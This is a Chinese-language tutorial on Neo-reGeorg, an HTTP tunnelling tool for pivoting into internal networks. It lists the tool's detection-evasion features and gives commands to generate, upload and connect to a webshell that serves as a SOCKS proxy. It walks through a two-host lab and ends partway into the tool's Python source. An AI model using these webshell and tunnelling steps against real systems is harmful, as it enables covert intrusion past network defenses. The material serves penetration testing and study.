内网隧道之Neo-reGeorg
作者:快盘下载 人气:内网隧道之Neo-reGeorg
前言
本文研究HTTP隧道的一个工具,Neo-reGeorg
github:https://github.com/L-codes/Neo-reGeorg
一、概述
1、简介
写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测
传输内容经过变形 base64 加密,伪装成 base64 编码直接请求响应可定制化 (如伪装的404页面)HTTP Headers 的指令随机生成,避免特征检测HTTP Headers 可定制化自定义 HTTP 响应码多 URL 随机请求服务端 DNS 解析兼容 python2 / python3服务端环境的高兼容性aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行2、原理
socks代理数据是包裹在http协议里边
3、用法
生成webshell
python3 neoreg.py generate -k password
上传生成的webshell
连接webshell
python3 neoreg.py -k password -u http://xx/tunnel.php
特殊用法
伪装404
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404
如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
需要分散请求,可上传到多个路径上,如内存马
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...
使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>
二、实践
1、测试场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
开放web服务
2、建立隧道
生成webshell
python3 neoreg.py generate -k 123456
将tunnel.jsp改名为1.jsp
上传1.jsp,curl下确认
连接webshell
python3 neoreg.py -k 123456 -u http://192.168.10.129/1.jsp
然后就可以通过proxychains来利用socks代理了
三、探索
1、源码与分析
#!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'L' __version__ = '3.4.0' import sys import os import re import base64 import struct import random import hashlib import logging import argparse import requests import uuid import codecs from time import sleep, time, mktime from datetime import datetime from socket import * from itertools import chain from threading import Thread requests.packages.urllib3.disable_warnings() ROOT = os.path.dirname(os.path.realpath(__file__)) ispython3 = True if sys.version_info >= (3, 0) else False # Constants SOCKTIMEOUT = 5 VER = b"x05" METHOD = b"x00" SUCCESS = b"x00" REFUSED = b"x05" #SOCKFAIL = b"x01" #NETWORKFAIL = b"x02" #HOSTFAIL = b"x04" #TTLEXPIRED = b"x06" #UNSUPPORTCMD = b"x07" #ADDRTYPEUNSPPORT = b"x08" #UNASSIGNED = b"x09" # Globals READBUFSIZE = 7 MAXTHERADS = 1000 READINTERVAL = 300 WRITEINTERVAL = 200 PHPTIMEOUT = 0.5 # Logging RESET_SEQ = "